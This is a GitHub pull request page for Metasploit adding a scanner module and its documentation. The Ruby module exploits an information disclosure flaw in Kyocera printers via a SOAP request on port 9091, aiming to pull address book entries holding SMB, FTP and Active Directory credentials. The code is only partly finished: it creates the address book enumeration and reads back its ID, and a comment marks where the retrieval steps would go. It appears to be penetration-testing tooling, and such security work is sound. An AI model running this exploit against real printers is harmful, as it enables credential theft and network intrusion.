-
Notifications
You must be signed in to change notification settings - Fork 14k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Kyocera module #19520
Open
ajm4n
wants to merge
4
commits into
rapid7:master
Choose a base branch
from
ajm4n:kyocera_module
base: master
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
+177
−0
Open
Kyocera module #19520
Changes from 2 commits
Commits
File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
27 changes: 27 additions & 0 deletions
27
...ntation/modules/auxiliary/scanner/http/kyocera_addressbook_credential_gather.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,27 @@ | ||
## Vulnerable Application | ||
|
||
Many Kyocera multifunction printers (MFPs) can be administered using Net Viewer. Two such supported and tested models of MFPs are the ECOSYS M2640idw and the TASKalfa 406ci. These printers can be routinely found in both home office and enterprise environments around the world. | ||
|
||
## Verification Steps | ||
|
||
|
||
1. Install the application | ||
2. Start msfconsole | ||
3. Do: `use auxiliary/scanner/http/kyocera_addressbook_credential_gather` | ||
4. Set RHOSTS to target Kyocera printer | ||
5. You should recieve the addressbook in XML format | ||
|
||
## Options | ||
RHOSTS - target host | ||
RPORT - target port | ||
TARGETURI - target URI of exposed addressbook | ||
SSL - HTTP/S | ||
|
||
|
||
## Scenarios | ||
Kyocera printers with an enabled and populated address book oftentimes have Active Directory usernames and passwords conatined in them that you can dump with this module. | ||
### Version and OS | ||
|
||
Kyocera ECOSYS M2640idw | ||
Kyocera TASKalfa 406ci | ||
|
100 changes: 100 additions & 0 deletions
100
modules/auxiliary/scanner/http/kyocera_addressbook_credential_gather.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change | ||||
---|---|---|---|---|---|---|
@@ -0,0 +1,100 @@ | ||||||
class MetasploitModule < Msf::Auxiliary | ||||||
include Msf::Auxiliary::Scanner | ||||||
include Msf::Exploit::Remote::HttpClient | ||||||
|
||||||
def initialize(info = {}) | ||||||
super(update_info(info, | ||||||
'Name' => 'Kyocera Printer Address Book Extractor', | ||||||
'Description' => %q{ | ||||||
This module exploits an information disclosure vulnerability in Kyocera printers | ||||||
to extract sensitive information stored in the printer address book, including | ||||||
email addresses, SMB file share credentials, and FTP credentials. | ||||||
}, | ||||||
'Author' => | ||||||
[ | ||||||
'Aaron Herndon @ac3lives (Rapid7)', # Original PoC | ||||||
'AJ Hammond @ajm4n' # Metasploit module | ||||||
], | ||||||
'License' => MSF_LICENSE, | ||||||
'References' => | ||||||
[ | ||||||
['URL', 'https://github.com/ac3lives/kyocera-cve-2022-1026'] | ||||||
], | ||||||
'DisclosureDate' => '2021-11-12' | ||||||
)) | ||||||
|
||||||
register_options( | ||||||
[ | ||||||
Opt::RPORT(9091), | ||||||
OptString.new('TARGETURI', [true, 'The base path to the Kyocera web interface', '/ws/km-wsdl/setting/address_book']), | ||||||
OptInt.new('ENUM_DELAY', [true, 'Seconds to wait before retrieving the address book enumeration', 5]) | ||||||
] | ||||||
) | ||||||
end | ||||||
|
||||||
def run_host(ip) | ||||||
uri = normalize_uri(datastore['TARGETURI']) | ||||||
headers = { 'Content-Type' => 'application/soap+xml' } | ||||||
|
||||||
# Initial SOAP request to create an address book enumeration | ||||||
create_enum_body = <<~XML | ||||||
<?xml version="1.0" encoding="utf-8"?> | ||||||
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope" xmlns:SOAP-ENC="http://www.w3.org/2003/05/soap-encoding" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:xop="http://www.w3.org/2004/08/xop/include" xmlns:ns1="http://www.kyoceramita.com/ws/km-wsdl/setting/address_book"> | ||||||
<SOAP-ENV:Header> | ||||||
<wsa:Action SOAP-ENV:mustUnderstand="true">http://www.kyoceramita.com/ws/km-wsdl/setting/address_book/create_personal_address_enumeration</wsa:Action> | ||||||
</SOAP-ENV:Header> | ||||||
<SOAP-ENV:Body> | ||||||
<ns1:create_personal_address_enumerationRequest> | ||||||
<ns1:number>25</ns1:number> | ||||||
</ns1:create_personal_address_enumerationRequest> | ||||||
</SOAP-ENV:Body> | ||||||
</SOAP-ENV:Envelope> | ||||||
XML | ||||||
|
||||||
print_status("Sending initial request to create address book enumeration on #{ip}") | ||||||
res = send_request_cgi({ | ||||||
'method' => 'POST', | ||||||
'uri' => uri, | ||||||
'headers' => headers, | ||||||
'data' => create_enum_body | ||||||
}) | ||||||
|
||||||
if res | ||||||
print_status("Response code: #{res.code}") | ||||||
print_status("Full response body: #{res.body}") | ||||||
|
||||||
# Check if there's a redirection | ||||||
if res.headers['Location'] | ||||||
print_status("Redirected to: #{res.headers['Location']}") | ||||||
end | ||||||
|
||||||
if res.code == 200 | ||||||
print_good("Enumeration creation successful on #{ip}") | ||||||
enum_id = extract_enum_id(res.body) | ||||||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
Suggested change
|
||||||
|
||||||
if enum_id | ||||||
print_good("Retrieved enumeration ID: #{enum_id}. Waiting #{datastore['ENUM_DELAY']} seconds for the address book to populate.") | ||||||
sleep(datastore['ENUM_DELAY']) | ||||||
|
||||||
# Continue with the next steps... | ||||||
else | ||||||
print_error("Failed to retrieve enumeration ID from the response on #{ip}") | ||||||
end | ||||||
else | ||||||
print_error("Failed to create address book enumeration on #{ip}") | ||||||
print_status("Full HTML response: #{res.body}") # Add this to capture the HTML response | ||||||
end | ||||||
else | ||||||
print_error("No response received from #{ip}") | ||||||
end | ||||||
end | ||||||
|
||||||
def extract_enum_id(body) | ||||||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
Suggested change
|
||||||
xml_doc = Nokogiri::XML(body) | ||||||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
Suggested change
|
||||||
print_status("Parsed XML for enum ID: #{xml_doc.to_xml}") | ||||||
|
||||||
# Adjust XPath here if needed, based on the actual response | ||||||
xml_doc.at_xpath('//kmaddrbook:enumeration', 'kmaddrbook' => 'http://www.kyoceramita.com/ws/km-wsdl/setting/address_book')&.text | ||||||
end | ||||||
end | ||||||
|
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
It might be a good idea to refer to some off our other module docs and add console outputs snippets and so on.